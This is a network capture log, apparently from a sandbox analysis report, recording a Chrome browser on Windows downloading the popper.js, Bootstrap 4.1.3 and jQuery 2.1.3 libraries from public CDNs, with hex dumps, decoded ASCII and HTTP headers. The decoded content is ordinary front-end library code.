2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	104.18.11.207	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:20 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:20 UTC	948	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:20 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 14492829 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba4878b5bc74399-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:08:20 UTC	421	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bff/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 Data Ascii: query","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b Data Ascii: ,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 Data Ascii: ew _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 Data Ascii: t();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].C
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c Data Ascii: Selector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 Data Ascii: n t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){retur
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 Data Ascii: if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.qu
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 Data Ascii: tring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	104.17.25.14	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:20 UTC	380	OUT	GET /ajax/libs/jquery/2.1.3/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:20 UTC	957	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:20 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-14983" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 504098 Expires: Mon, 18 Aug 2025 13:08:20 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rN7kfUnUWQVIsJRwYUnQpJDZZiLOqr8p6uoQq1CGFAY5MmSPRW%2FpWOlYAqTHZDv21h1rz0flatpNIanLuPsgqyry7ZKe19%2B57ovfWK9ATdFTm1Pzzemt8enCigkOs4WDMA4NNk9w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ba4878b687d4414-EWR alt-svc: h3=":443"; ma=86400
